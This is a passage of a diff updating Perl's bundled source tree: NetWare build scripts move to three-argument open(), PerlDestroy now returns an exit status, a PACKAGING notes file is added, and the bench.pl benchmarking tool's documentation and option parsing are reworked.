$patchlevel = qq["$patchlevel"];
-open(SH,"<$name") || die "Cannot open $name:$!";
+open(SH,'<',$name) || die "Cannot open $name:$!";
while (<SH>)
{
last if /^sed/;
@@ -42,7 +42,7 @@ eval $str;
die "$str:$@" if $@;
-open(H,">$file.new") || die "Cannot open $file.new:$!";
+open(H,'>',"$file.new") || die "Cannot open $file.new:$!";
binmode H; # no CRs (which cause a spurious rebuild)
while (<SH>)
{
diff --git a/gnu/usr.bin/perl/NetWare/config_sh.PL b/gnu/usr.bin/perl/NetWare/config_sh.PL
index 0e1d351c1a8..d2daf0ecc16 100644
--- a/gnu/usr.bin/perl/NetWare/config_sh.PL
+++ b/gnu/usr.bin/perl/NetWare/config_sh.PL
@@ -18,7 +18,7 @@ sub loadopts {
shift @ARGV;
my $optfile = shift @ARGV;
local (*F);
- open OPTF, $optfile or die "Can't open $optfile: $!\n";
+ open OPTF, '<', $optfile or die "Can't open $optfile: $!\n";
my @opts;
chomp(my $line = <OPTF>);
my @vars = split(/\t+~\t+/, $line);
@@ -43,7 +43,7 @@ while (@{$optref} && $optref->[0] =~ /^([\w_]+)=(.*)$/) {
my $pl_h = '../patchlevel.h';
if (-e $pl_h) {
- open PL, "<$pl_h" or die "Can't open $pl_h: $!";
+ open PL, '<', $pl_h or die "Can't open $pl_h: $!";
while (<PL>) {
if (/^#\s*define\s+(PERL_\w+)\s+([\d.]+)/) {
$opt{$1} = $2;
diff --git a/gnu/usr.bin/perl/NetWare/interface.c b/gnu/usr.bin/perl/NetWare/interface.c
index 29a8dc0d243..1d298854c9f 100644
--- a/gnu/usr.bin/perl/NetWare/interface.c
+++ b/gnu/usr.bin/perl/NetWare/interface.c
@@ -78,10 +78,10 @@ ClsPerlHost::PerlRun(PerlInterpreter *my_perl)
return(perl_run(my_perl)); // Run Perl.
}
-void
+int
ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl)
{
- perl_destruct(my_perl); // Destructor for Perl.
+ return(perl_destruct(my_perl)); // Destructor for Perl.
}
void
@@ -148,19 +148,18 @@ int RunPerl(int argc, char **argv, char **env)
{
PL_perl_destruct_level = 0;
- exitstatus = nlm.PerlParse(my_perl, argc, argv, env);
- if(exitstatus == 0)
+ if(!nlm.PerlParse(my_perl, argc, argv, env))
{
#if defined(TOP_CLONE) && defined(USE_ITHREADS) // XXXXXX testing
new_perl = perl_clone(my_perl, 1);
- exitstatus = perl_run(new_perl); // Run Perl.
+ (void) perl_run(new_perl); // Run Perl.
PERL_SET_THX(my_perl);
#else
- exitstatus = nlm.PerlRun(my_perl);
+ (void) nlm.PerlRun(my_perl);
#endif
}
- nlm.PerlDestroy(my_perl);
+ exitstatus = nlm.PerlDestroy(my_perl);
}
if(my_perl)
nlm.PerlFree(my_perl);
@@ -169,7 +168,7 @@ int RunPerl(int argc, char **argv, char **env)
if (new_perl)
{
PERL_SET_THX(new_perl);
- nlm.PerlDestroy(new_perl);
+ exitstatus = nlm.PerlDestroy(new_perl);
nlm.PerlFree(my_perl);
}
#endif
diff --git a/gnu/usr.bin/perl/NetWare/interface.cpp b/gnu/usr.bin/perl/NetWare/interface.cpp
index aef71f9ffad..b08d6c249eb 100644
--- a/gnu/usr.bin/perl/NetWare/interface.cpp
+++ b/gnu/usr.bin/perl/NetWare/interface.cpp
@@ -69,11 +69,12 @@ ClsPerlHost::PerlRun(PerlInterpreter *my_perl)
return(perl_run(my_perl)); // Run Perl.
}
-void
+int
ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl)
{
- perl_destruct(my_perl); // Destructor for Perl.
+ int ret = perl_destruct(my_perl); // Destructor for Perl.
//// perl_free(my_perl); // Free the memory allocated for Perl.
+ return(ret);
}
void
@@ -142,8 +143,7 @@ int RunPerl(int argc, char **argv, char **env)
{
PL_perl_destruct_level = 0;
- exitstatus = nlm.PerlParse(my_perl, argc, argv, env);
- if(exitstatus == 0)
+ if(!nlm.PerlParse(my_perl, argc, argv, env))
{
#if defined(TOP_CLONE) && defined(USE_ITHREADS) // XXXXXX testing
# ifdef PERL_OBJECT
@@ -164,13 +164,13 @@ int RunPerl(int argc, char **argv, char **env)
new_perl = perl_clone(my_perl, 1);
# endif
- exitstatus = perl_run(new_perl); // Run Perl.
+ (void) perl_run(new_perl); // Run Perl.
PERL_SET_THX(my_perl);
#else
- exitstatus = nlm.PerlRun(my_perl);
+ (void) nlm.PerlRun(my_perl);
#endif
}
- nlm.PerlDestroy(my_perl);
+ exitstatus = nlm.PerlDestroy(my_perl);
}
if(my_perl)
nlm.PerlFree(my_perl);
@@ -179,7 +179,7 @@ int RunPerl(int argc, char **argv, char **env)
if (new_perl)
{
PERL_SET_THX(new_perl);
- nlm.PerlDestroy(new_perl);
+ exitstatus = nlm.PerlDestroy(new_perl);
nlm.PerlFree(my_perl);
}
#endif
diff --git a/gnu/usr.bin/perl/NetWare/interface.h b/gnu/usr.bin/perl/NetWare/interface.h
index 98979937e34..2c9d46d75d5 100644
--- a/gnu/usr.bin/perl/NetWare/interface.h
+++ b/gnu/usr.bin/perl/NetWare/interface.h
@@ -35,7 +35,7 @@ public:
int PerlCreate(PerlInterpreter *my_perl);
int PerlParse(PerlInterpreter *my_perl, int argc, char** argv, char** env);
int PerlRun(PerlInterpreter *my_perl);
- void PerlDestroy(PerlInterpreter *my_perl);
+ int PerlDestroy(PerlInterpreter *my_perl);
void PerlFree(PerlInterpreter *my_perl);
//bool RegisterWithThreadTable(void);
diff --git a/gnu/usr.bin/perl/NetWare/iperlhost.h b/gnu/usr.bin/perl/NetWare/iperlhost.h
index cc1754afb3d..fe3dab7a34a 100644
--- a/gnu/usr.bin/perl/NetWare/iperlhost.h
+++ b/gnu/usr.bin/perl/NetWare/iperlhost.h
@@ -33,7 +33,7 @@ public:
virtual int PerlCreate(PerlInterpreter *my_perl) = 0;
virtual int PerlParse(PerlInterpreter *my_perl,int argc, char** argv, char** env) = 0;
virtual int PerlRun(PerlInterpreter *my_perl) = 0;
- virtual void PerlDestroy(PerlInterpreter *my_perl) = 0;
+ virtual int PerlDestroy(PerlInterpreter *my_perl) = 0;
virtual void PerlFree(PerlInterpreter *my_perl) = 0;
//virtual bool RegisterWithThreadTable(void)=0;
diff --git a/gnu/usr.bin/perl/NetWare/t/NWModify.pl b/gnu/usr.bin/perl/NetWare/t/NWModify.pl
index 4e9817448d4..fa58b47e820 100644
--- a/gnu/usr.bin/perl/NetWare/t/NWModify.pl
+++ b/gnu/usr.bin/perl/NetWare/t/NWModify.pl
@@ -85,7 +85,7 @@ sub Process_File
# Do the processing only if the file has '.t' extension.
if($ext eq '.t') {
- open(FH, "+< $FileToProcess") or die "Unable to open the file, $FileToProcess for reading and writing.\n";
+ open(FH, '+<', $FileToProcess) or die "Unable to open the file, $FileToProcess for reading and writing.\n";
@ARRAY = <FH>; # Get the contents of the file into an array.
foreach $Line(@ARRAY) # Get each line of the file.
diff --git a/gnu/usr.bin/perl/NetWare/t/NWScripts.pl b/gnu/usr.bin/perl/NetWare/t/NWScripts.pl
index c16a4a13cd0..5f21244fd90 100644
--- a/gnu/usr.bin/perl/NetWare/t/NWScripts.pl
+++ b/gnu/usr.bin/perl/NetWare/t/NWScripts.pl
@@ -30,7 +30,7 @@ foreach $DirItem(@Dirs)
# Open once in write mode since later files are opened in append mode,
# and if there already exists a file with the same name, all further opens
# will append to that file!!
- open(FHW, "> $IntAutoScript") or die "Unable to open the file, $IntAutoScript for writing.\n";
+ open(FHW, '>', $IntAutoScript) or die "Unable to open the file, $IntAutoScript for writing.\n";
seek(FHW, 0, 0); # seek to the beginning of the file.
close FHW; # close the file.
}
@@ -39,7 +39,7 @@ foreach $DirItem(@Dirs)
print "Generating t/nwauto.pl ...\n\n\n";
-open(FHWA, "> t/nwauto.pl") or die "Unable to open the file, t/nwauto.pl for writing.\n";
+open(FHWA, '>', 't/nwauto.pl') or die "Unable to open the file, t/nwauto.pl for writing.\n";
seek(FHWA, 0, 0); # seek to the beginning of the file.
$version = sprintf("%vd",$^V);
@@ -67,7 +67,7 @@ foreach $FileName(@DirNames)
}
# Write into the intermediary auto script.
- open(FHW, ">> $IntAutoScript") or die "Unable to open the file, $IntAutoScript for appending.\n";
+ open(FHW, '>>', $IntAutoScript) or die "Unable to open the file, $IntAutoScript for appending.\n";
seek(FHW, 0, 2); # seek to the end of the file.
$pos = tell(FHW);
@@ -164,7 +164,7 @@ foreach $DirItem(@Dirs)
$IntAutoScript = "t/".$DirItem.".pl";
# Write into the intermediary auto script.
- open(FHW, ">> $IntAutoScript") or die "Unable to open the file, $IntAutoScript for appending.\n";
+ open(FHW, '>>', $IntAutoScript) or die "Unable to open the file, $IntAutoScript for appending.\n";
seek(FHW, 0, 2); # seek to the end of the file.
# Write into the intermediary auto script.
diff --git a/gnu/usr.bin/perl/PACKAGING b/gnu/usr.bin/perl/PACKAGING
new file mode 100644
index 00000000000..a603f6c5e36
--- /dev/null
+++ b/gnu/usr.bin/perl/PACKAGING
@@ -0,0 +1,50 @@
+If you read this file _as_is_, just ignore the funny characters you
+see. It is written in the POD format (see pod/perlpod.pod) which is
+specifically designed to be readable as is.
+
+=head1 NAME
+
+PACKAGING - notes and best practice for packaging perl 5
+
+=head1 SYNOPSIS
+
+This document is aimed at anyone who is producing their own version of
+perl for distribution to other users. It is intended as a collection
+of useful tips, advice and best practice, rather than being a complete
+packaging manual. The starting point for installing perl remains
+F<INSTALL>.
+
+=head1 Customizing test running
+
+A small number of porting tests (those in t/porting) are not well suited
+to typical distribution packaging scenarios. For example, they assume
+they are working in a git clone of the upstream Perl repository, or
+enforce rules which are not relevant to downstream packagers. These can
+be skipped by setting the environment variable PERL_BUILD_PACKAGING.
+A complete list of tests which this applied to can be found by searching
+the codebase for this string.
+
+An alternative strategy would be to skip all porting tests, but many of
+them are useful if additional patches might be applied.
+
+=head1 Customizing patchlevel to advertise your local patches
+
+You can advertise your custom local patches by using patchlevel.h as a
+standalone Perl script.
+
+=head2 Sample usage:
+
+ perl -x patchlevel.h "This is a custom patch"
+
+=head1 Disabling known flapping tests
+
+Some tests could fail under heavy load, whereas in most cases
+they would simply succeed. Usually, continuous integration systems
+will at one point or the other reach that problem.
+
+To disable these known tests, please set the environment
+variable CI to true.
+
+ CI=true
+
+=cut
diff --git a/gnu/usr.bin/perl/Porting/Maintainers.pm b/gnu/usr.bin/perl/Porting/Maintainers.pm
index 6b28ea7e58c..20ed4f70555 100644
--- a/gnu/usr.bin/perl/Porting/Maintainers.pm
+++ b/gnu/usr.bin/perl/Porting/Maintainers.pm
@@ -13,16 +13,15 @@ use lib "Porting";
use 5.008;
require "Maintainers.pl";
-use vars qw(%Modules %Maintainers);
+our (%Modules, %Maintainers);
-use vars qw(@ISA @EXPORT_OK $VERSION);
-@ISA = qw(Exporter);
-@EXPORT_OK = qw(%Modules %Maintainers
+our @ISA = qw(Exporter);
+our @EXPORT_OK = qw(%Modules %Maintainers
get_module_files get_module_pat
show_results process_options files_to_modules
finish_tap_output
reload_manifest);
-$VERSION = 0.10;
+our $VERSION = 0.13;
require Exporter;
@@ -41,7 +40,7 @@ sub reload_manifest {
$manifest_path = "../MANIFEST";
}
- if (open(my $manfh, $manifest_path )) {
+ if (open(my $manfh, '<', $manifest_path )) {
while (<$manfh>) {
if (/^(\S+)/) {
$MANIFEST{$1}++;
@@ -356,7 +355,7 @@ sub duplicated_maintainers {
sub warn_maintainer {
my $name = shift;
- ok($files{$name}, "$name has a maintainer");
+ ok($files{$name}, "$name has a maintainer (see Porting/Maintainer.pl)");
}
sub missing_maintainers {
diff --git a/gnu/usr.bin/perl/Porting/acknowledgements.pl b/gnu/usr.bin/perl/Porting/acknowledgements.pl
index 2d1356489e3..f04dac5614c 100644
--- a/gnu/usr.bin/perl/Porting/acknowledgements.pl
+++ b/gnu/usr.bin/perl/Porting/acknowledgements.pl
@@ -25,7 +25,7 @@ use Text::Wrap;
use Time::Piece;
use Time::Seconds;
use version;
-$Text::Wrap::columns = 80;
+$Text::Wrap::columns = 77;
my $since_until = shift;
@@ -57,7 +57,7 @@ Excluding auto-generated files, documentation and release tools, there
were approximately $formatted_code_changes lines of changes to
$formatted_code_files .pm, .t, .c and .h files.
-Perl continues to flourish into its third decade thanks to a vibrant
+Perl continues to flourish into its fourth decade thanks to a vibrant
community of users and developers. The following people are known to
have contributed the improvements that became Perl $next_version:
diff --git a/gnu/usr.bin/perl/Porting/bench.pl b/gnu/usr.bin/perl/Porting/bench.pl
index 94732fe0e3f..6087dca1388 100755
--- a/gnu/usr.bin/perl/Porting/bench.pl
+++ b/gnu/usr.bin/perl/Porting/bench.pl
@@ -14,19 +14,31 @@ perls.
# Basic: run the tests in t/perf/benchmarks against two or
# more perls
- bench.pl [options] perl1[=label1] perl2[=label2] ...
+ bench.pl [options] perlA[=labelA] perlB[=labelB] ...
- # Run bench.pl's own built-in sanity tests
+ # run the tests against the same perl twice, with varying options
- bench.pl --action=selftest
+ bench.pl [options] perlA=bigint --args='-Mbigint' perlA=plain
+
+ # Run bench on blead, saving results to file; then modify the blead
+ # binary, and benchmark again, comparing against the saved results
+
+ bench.pl [options] --write=blead.time ./perl=blead
+ # ... hack hack hack, updating ./perl ...
+ bench.pl --read=blead.time ./perl=hacked
+
+ # You can also combine --read with --write and new benchmark runs
+
+ bench.pl --read=blead.time --write=last.time -- ./perl=hacked
=head1 DESCRIPTION
By default, F<bench.pl> will run code snippets found in
F<t/perf/benchmarks> (or similar) under cachegrind, in order to calculate
how many instruction reads, data writes, branches, cache misses, etc. that
-one execution of the snippet uses. It will run them against two or more
-perl executables and show how much each test has gotten better or worse.
+one execution of the snippet uses. Usually it will run them against two or
+more perl executables and show how much each test has gotten better or
+worse.
It is modelled on the F<perlbench> tool, but since it measures instruction
reads etc., rather than timings, it is much more precise and reproducible.
@@ -37,13 +49,42 @@ measurements, such as instruction reads, conditional branch misses etc.
There are options to write the raw data to a file, and to read it back.
This means that you can view the same run data in different views with
-different selection and sort options.
+different selection and sort options. You can also use this mechanism
+to save the results of timing one perl, and then read it back while timing
+a modification, so that you don't have rerun the same tests on the same
+perl over and over, or have two perl executables built at the same time.
The optional C<=label> after each perl executable is used in the display
-output.
+output. If you are doing a two step benchmark then you should provide
+a label for at least the "base" perl. If a label isn't specified, it
+defaults to the name of the perl executable. Labels must be unique across
+all current executables, plus any previous ones obtained via --read.
+
+In its most general form, the specification of a perl executable is:
+
+ path/perl=+mylabel --args='-foo -bar' --args='-baz' \
+ --env='A=a' --env='B=b'
+
+This defines how to run the executable F<path/perl>. It has a label,
+which due to the C<+>, is appended to the binary name to give a label of
+C<path/perl=+mylabel> (without the C<+>, the label would be just
+C<mylabel>).
+
+It can be optionally followed by one or more C<--args> or C<--env>
+switches, which specify extra command line arguments or environment
+variables to use when invoking that executable. Each C<--env> switch
+should be of the form C<--env=VARIABLE=value>. Any C<--arg> values are
+concatenated to the eventual command line, along with the global
+C<--perlargs> value if any. The above would cause a system() call looking
+something like:
+
+ PERL_HASH_SEED=0 A=a B=b valgrind --tool=cachegrind \
+ path/perl -foo -bar -baz ....
=head1 OPTIONS
+=head2 General options
+
=over 4
=item *
@@ -56,68 +97,114 @@ I<selftest>, which runs some basic sanity checks and produces TAP output.
=item *
---average
+--debug
-Only display the overall average, rather than the results for each
-individual test.
+Enable debugging output.
=item *
---benchfile=I<foo>
+---help
-The path of the file which contains the benchmarks (F<t/perf/benchmarks>
-by default).
+Display basic usage information.
=item *
---bisect=I<field,minval,maxval>
+-v
+--verbose
-Run a single test against one perl and exit with a zero status if the
-named field is in the specified range; exit 1 otherwise. It will complain
-if more than one test or perl has been specified. It is intended to be
-called as part of a bisect run, to determine when something changed.
-For example,
+Display progress information.
- bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \
- ./miniperl
+=back
-might be called from bisect to find when the number of instruction reads
-for test I<foo> falls outside the range 100..105.
+=head2 Test selection options
+
+=over 4
=item *
---compact=<Iperl>
+--tests=I<FOO>
+
+Specify a subset of tests to run (or in the case of C<--read>, to read).
+It may be either a comma-separated list of test names, or a regular
+expression. For example
+
+ --tests=expr::assign::scalar_lex,expr::assign::2list_lex
+ --tests=/^expr::/
+
+
+=back
+
+=head2 Input options
+
+=over 4
-Display the results for a single perl executable in a compact form.
-Which perl to display is specified in the same manner as C<--norm>.
=item *
---debug
+-r I<file>
+--read=I<file>
+
+Read in saved data from a previous C<--write> run from the specified file.
+If C<--tests> is present too, then only tests matching those conditions
+are read from the file.
+
+C<--read> may be specified multiple times, in which case the results
+across all files are aggregated. The list of test names from each file
+(after filtering by C<--tests>) must be identical across all files.
+
+This list of tests is used instead of that obtained from the normal
+benchmark file (or C<--benchfile>) for any benchmarks that are run.
+
+The perl labels must be unique across all read in test results.
+
+Requires C<JSON::PP> to be available.
+
+=back
+
+=head2 Benchmarking options
-Enable verbose debugging output.
+Benchmarks will be run for all perls specified on the command line.
+These options can be used to modify the benchmarking behavior:
+
+=over 4
=item *
---fields=I<a,b,c>
+--autolabel
-Display only the specified fields; for example,
+Generate a unique label for every executable which doesn't have an
+explicit C<=label>. Works by stripping out common prefixes and suffixes
+from the executable names, then for any non-unique names, appending
+C<-0>, C<-1>, etc. text directly surrounding the unique part which look
+like version numbers (i.e. which match C</[0-9\.]+/>) aren't stripped.
+For example,
- --fields=Ir,Ir_m,Ir_mm
+ perl-5.20.0-threaded perl-5.22.0-threaded perl-5.24.0-threaded
+
+stripped to unique parts would be:
+
+ 20 22 24
+
+but is actually only stripped down to:
+
+ 5.20.0 5.22.0 5.24.0
+
+If the final results are plain integers, they are prefixed with "p"
+to avoid looking like column numbers to switches like C<--norm=2>.
-If only one field is selected, the output is in more compact form.
=item *
---grindargs=I<foo>
+--benchfile=I<foo>
-Optional command-line arguments to pass to cachegrind invocations.
+The path of the file which contains the benchmarks (F<t/perf/benchmarks>
+by default).
=item *
----help
+--grindargs=I<foo>
-Display basic usage information.
+Optional command-line arguments to pass to all cachegrind invocations.
=item *
@@ -125,80 +212,140 @@ Display basic usage information.
--jobs=I<N>
Run I<N> jobs in parallel (default 1). This determines how many cachegrind
-process will running at a time, and should generally be set to the number
+process will run at a time, and should generally be set to the number
of CPUs available.
=item *
---norm=I<foo>
+--perlargs=I<foo>
-Specify which perl column in the output to treat as the 100% norm.
-It may be a column number (0..N-1) or a perl executable name or label.
-It defaults to the leftmost column.
+Optional command-line arguments to pass to every perl executable. This
+may optionaly be combined with C<--args> switches following individual
+perls. For example:
+
+ bench.pl --perlargs='-Ilib -It/lib' .... \
+ perlA --args='-Mstrict' \
+ perlB --args='-Mwarnings'
+
+would cause the invocations
+
+ perlA -Ilib -It/lib -Mstrict
+ perlB -Ilib -It/lib -Mwarnings
+
+=back
+
+=head2 Output options
+
+Any results accumulated via --read or by running benchmarks can be output
+in any or all of these three ways:
+
+=over 4
=item *
---perlargs=I<foo>
+-w I<file>
+--write=I<file>
+
+Save the raw data to the specified file. It can be read back later with
+C<--read>. If combined with C<--read> then the output file will be
+the merge of the file read and any additional perls added on the command
+line.
-Optional command-line arguments to pass to each perl that is run as part of
-a cachegrind session. For example, C<--perlargs=-Ilib>.
+Requires C<JSON::PP> to be available.
=item *
---raw
+--bisect=I<field,minval,maxval>
-Display raw data counts rather than percentages in the outputs. This
-allows you to see the exact number of intruction reads, branch misses etc.
-for each test/perl combination. It also causes the C<AVERAGE> display
-per field to be calculated based on the average of each tests's count
-rather than average of each percentage. This means that tests with very
-high counts will dominate.
+Exit with a zero status if the named field is in the specified range;
+exit with 1 otherwise. It will complain if more than one test or perl has
+been specified. It is intended to be called as part of a bisect run, to
+determine when something changed. For example,
+
+ bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \
+ ./miniperl
+
+might be called from bisect to find when the number of instruction reads
+for test I<foo> falls outside the range 100..105.
=item *
---sort=I<field:perl>
+--show
-Order the tests in the output based on the value of I<field> in the
-column I<perl>. The I<perl> value is as per C<--norm>. For example
+Display the results to stdout in human-readable form. This is enabled by
+default, except with --write and --bisect. The following sub-options alter
+how --show behaves.
- bench.pl --sort=Dw:perl-5.20.0 \
- perl-5.16.0 perl-5.18.0 perl-5.20.0
+=over 4
=item *
--r I<file>
---read=I<file>
+--average
-Read in saved data from a previous C<--write> run from the specified file.
+Only display the overall average, rather than the results for each
+individual test.
-Requires C<JSON::PP> to be available.
+=item *
+
+--compact=I<perl>
+
+Display the results for a single perl executable in a compact form.
+Which perl to display is specified in the same manner as C<--norm>.
=item *
---tests=I<FOO>
+--fields=I<a,b,c>
-Specify a subset of tests to run (or in the case of C<--read>, to display).
-It may be either a comma-separated list of test names, or a regular
-expression. For example
+Display only the specified fields; for example,
- --tests=expr::assign::scalar_lex,expr::assign::2list_lex
- --tests=/^expr::/
+ --fields=Ir,Ir_m,Ir_mm
+
+If only one field is selected, the output is in more compact form.
=item *
---verbose
+--norm=I<foo>
-Display progress information.
+Specify which perl column in the output to treat as the 100% norm.
+It may be:
+
+=over
+
+* a column number (0..N-1),
+
+* a negative column number (-1..-N) which counts from the right (so -1 is
+the right-most column),
+
+* or a perl executable name,
+
+* or a perl executable label.
+
+=back
+
+It defaults to the leftmost column.
=item *
--w I<file>
---write=I<file>
+--raw
-Save the raw data to the specified file. It can be read back later with
-C<--read>.
+Display raw data counts rather than percentages in the outputs. This
+allows you to see the exact number of intruction reads, branch misses etc.
+for each test/perl combination. It also causes the C<AVERAGE> display
+per field to be calculated based on the average of each tests's count
+rather than average of each percentage. This means that tests with very
+high counts will dominate.
-Requires C<JSON::PP> to be available.
+=item *
+
+--sort=I<field:perl>
+
+Order the tests in the output based on the value of I<field> in the
+column I<perl>. The I<perl> value is as per C<--norm>. For example
+
+ bench.pl --sort=Dw:perl-5.20.0 \
+ perl-5.16.0 perl-5.18.0 perl-5.20.0
+
+=back
=back
@@ -209,7 +356,7 @@ Requires C<JSON::PP> to be available.
use 5.010000;
use warnings;
use strict;
-use Getopt::Long qw(:config no_auto_abbrev);
+use Getopt::Long qw(:config no_auto_abbrev require_order);
use IPC::Open2 ();
use IO::Select;
use IO::File;
@@ -227,52 +374,88 @@ my %VALID_FIELDS = map { $_ => 1 }
sub usage {
die <<EOF;
-usage: $0 [options] perl[=label] ...
- --action=foo What action to perform [default: grind].
- --average Only display average, not individual test results.
- --benchfile=foo File containing the benchmarks;
- [default: t/perf/benchmarks].
- --bisect=f,min,max run a single test against one perl and exit with a
- zero status if the named field is in the specified
- range; exit 1 otherwise.
- --compact=perl Display the results of a single perl in compact form.
- Which perl specified like --norm
+Usage: $0 [options] -- perl[=label] ...
+
+General options:
+
+ --action=foo What action to perform [default: grind]:
+ grind run the code under cachegrind
+ selftest perform a selftest; produce TAP output
--debug Enable verbose debugging output.
- --fields=a,b,c Display only the specified fields (e.g. Ir,Ir_m,Ir_mm).
- --grindargs=foo Optional command-line args to pass to cachegrind.
--help Display this help.
+ -v|--verbose Display progress information.
+
+
+Selection:
+
+ --tests=FOO Select only the specified tests for reading, benchmarking
+ and display. FOO may be either a list of tests or
+ a pattern: 'foo,bar,baz' or '/regex/';
+ [default: all tests].
+
+Input:
+
+ -r|--read=file Read in previously saved data from the specified file.
+ May be repeated, and be used together with new
+ benchmarking to create combined results.
+
+Benchmarking:
+ Benchmarks will be run for any perl specified on the command line.
+ These options can be used to modify the benchmarking behavior:
+
+ --autolabel generate labels for any executables without one
+ --benchfile=foo File containing the benchmarks.
+ [default: t/perf/benchmarks].
+ --grindargs=foo Optional command-line args to pass to cachegrind.
-j|--jobs=N Run N jobs in parallel [default 1].
- --norm=perl Which perl column to treat as 100%; may be a column
- number (0..N-1) or a perl executable name or label;
- [default: 0].
--perlargs=foo Optional command-line args to pass to each perl to run.
- --raw Display raw data counts rather than percentages.
- --sort=field:perl Sort the tests based on the value of 'field' in the
+
+Output:
+ Any results accumulated via --read or running benchmarks can be output
+ in any or all of these three ways:
+
+ -w|--write=file Save the raw data to the specified file (may be read
+ back later with --read).
+
+ --bisect=f,min,max Exit with a zero status if the named field f is in
+ the specified min..max range; exit 1 otherwise.
+ Produces no other output. Only legal if a single
+ benchmark test has been specified.
+
+ --show Display the results to stdout in human-readable form.
+ This is enabled by default, except with --write and
+ --bisect. The following sub-options alter how
+ --show behaves.
+
+ --average Only display average, not individual test results.
+ --compact=perl Display the results of a single perl in compact form.
+ Which perl specified like --norm
+ --fields=a,b,c Display only the specified fields (e.g. Ir,Ir_m,Ir_mm).
+ --norm=perl Which perl column to treat as 100%; may be a column
+ number (0..N-1) or a perl executable name or label;
+ [default: 0].
+ --raw Display raw data counts rather than percentages.
+ --sort=field:perl Sort the tests based on the value of 'field' in the
column 'perl'. The perl value is as per --norm.
- -r|--read=file Read in previously saved data from the specified file.
- --tests=FOO Select only the specified tests from the benchmarks file;
- FOO may be either of the form 'foo,bar' or '/regex/';
- [default: all tests].
- --verbose Display progress information.
- -w|--write=file Save the raw data to the specified file.
---action is one of:
- grind run the code under cachegrind
- selftest perform a selftest; produce TAP output
The command line ends with one or more specified perl executables,
which will be searched for in the current \$PATH. Each binary name may
have an optional =LABEL appended, which will be used rather than the
-executable name in output. E.g.
+executable name in output. The labels must be unique across all current
+executables and previous runs obtained via --read. Each executable may
+optionally be succeeded by --args= and --env= to specify per-executable
+arguments and environmenbt variables:
- perl-5.20.1=PRE-BUGFIX perl-5.20.1-new=POST-BUGFIX
+ perl-5.24.0=strict --args='-Mwarnings -Mstrict' --env='FOO=foo' \
+ perl-5.24.0=plain
EOF
}
my %OPTS = (
action => 'grind',
average => 0,
- benchfile => 't/perf/benchmarks',
+ benchfile => undef,
bisect => undef,
compact => undef,
debug => 0,
@@ -283,6 +466,7 @@ my %OPTS = (
perlargs => '',
raw => 0,
read => undef,
+ show => undef,
sort => undef,
tests => undef,
verbose => 0,
@@ -296,31 +480,29 @@ my %OPTS = (
GetOptions(
'action=s' => \$OPTS{action},
'average' => \$OPTS{average},
+ 'autolabel' => \$OPTS{autolabel},
'benchfile=s' => \$OPTS{benchfile},
'bisect=s' => \$OPTS{bisect},
'compact=s' => \$OPTS{compact},
'debug' => \$OPTS{debug},
'grindargs=s' => \$OPTS{grindargs},
- 'help' => \$OPTS{help},
+ 'help|h' => \$OPTS{help},
'fields=s' => \$OPTS{fields},
'jobs|j=i' => \$OPTS{jobs},
'norm=s' => \$OPTS{norm},
'perlargs=s' => \$OPTS{perlargs},
'raw' => \$OPTS{raw},
- 'read|r=s' => \$OPTS{read},
+ 'read|r=s@' => \$OPTS{read},
+ 'show' => \$OPTS{show},
'sort=s' => \$OPTS{sort},
'tests=s' => \$OPTS{tests},
- 'verbose' => \$OPTS{verbose},
+ 'v|verbose' => \$OPTS{verbose},
'write|w=s' => \$OPTS{write},
- ) or usage;
+ ) or die "Use the -h option for usage information.\n";
usage if $OPTS{help};
- if (defined $OPTS{read} and defined $OPTS{write}) {
- die "Error: can't specify both --read and --write options\n";
- }
-
if (defined $OPTS{read} or defined $OPTS{write}) {
# fail early if it's not present
require JSON::PP;
@@ -349,7 +531,7 @@ my %OPTS = (
. "'$OPTS{sort}'\n";
}
my ($field, $perl) = @s;
- die "Error: --sort: unknown field '$field\n"
+ die "Error: --sort: unknown field '$field'\n"
unless $VALID_FIELDS{$field};
# the 'perl' value will be validated later, after we have processed
# the perls
@@ -357,39 +539,16 @@ my %OPTS = (
$OPTS{'sort-perl'} = $perl;
}
- if ($OPTS{action} eq 'selftest') {
- if (@ARGV) {
- die "Error: no perl executables may be specified with --read\n"
- }
- }
- elsif (defined $OPTS{bisect}) {
- die "Error: exactly one perl executable must be specified for bisect\n"
- unless @ARGV == 1;
- die "Error: Can't specify both --bisect and --read\n"
- if defined $OPTS{read};
- die "Error: Can't specify both --bisect and --write\n"
- if defined $OPTS{write};
- }
- elsif (defined $OPTS{read}) {
- if (@ARGV) {
- die "Error: no perl executables may be specified with --read\n"
- }
- }
- elsif ($OPTS{raw}) {
- unless (@ARGV) {
- die "Error: at least one perl executable must be specified\n";
- }
- }
- else {
- unless (@ARGV >= 2) {
- die "Error: at least two perl executables must be specified\n";
- }
- }
+ # show is the default output action
+ $OPTS{show} = 1 unless $OPTS{write} || $OPTS{bisect};
if ($OPTS{action} eq 'grind') {
do_grind(\@ARGV);
}
elsif ($OPTS{action} eq 'selftest') {
+ if (@ARGV) {
+ die "Error: no perl executables may be specified with selftest\n"
+ }
do_selftest();
}
}
@@ -417,13 +576,24 @@ sub filter_tests {
else {
my %t;
for (split /,/, $opt) {
- die "Error: no such test found: '$_'\n" unless exists $tests->{$_};
$t{$_} = 1;
+ next if exists $tests->{$_};
+
+ my $e = "Error: no such test found: '$_'\n";
+ if ($OPTS{verbose}) {
+ $e .= "Valid test names are:\n";
+ $e .= " $_\n" for sort keys %$tests;
+ }
+ else {
+ $e .= "Re-run with --verbose for a list of valid tests.\n";
+ }
+ die $e;
}
for (keys %$tests) {
delete $tests->{$_} unless exists $t{$_};
}
}
+ die "Error: no tests to run\n" unless %$tests;
}
@@ -434,12 +604,44 @@ sub filter_tests {
sub read_tests_file {
my ($file) = @_;
- my $ta = do $file;
+ my $ta;
+ {
+ local @INC = ('.');
+ $ta = do $file;
+ }
unless ($ta) {
- die "Error: can't parse '$file': $@\n" if $@;
+ die "Error: can't load '$file': code didn't return a true value\n"
+ if defined $ta;
+ die "Error: can't parse '$file':\n$@\n" if $@;
die "Error: can't read '$file': $!\n";
}
+ # validate and process each test
+
+ {
+ my %valid = map { $_ => 1 } qw(desc setup code pre post compile);
+ my @tests = @$ta;
+ if (!@tests || @tests % 2 != 0) {
+ die "Error: '$file' does not contain evenly paired test names and hashes\n";
+ }
+ while (@tests) {
+ my $name = shift @tests;
+ my $hash = shift @tests;
+
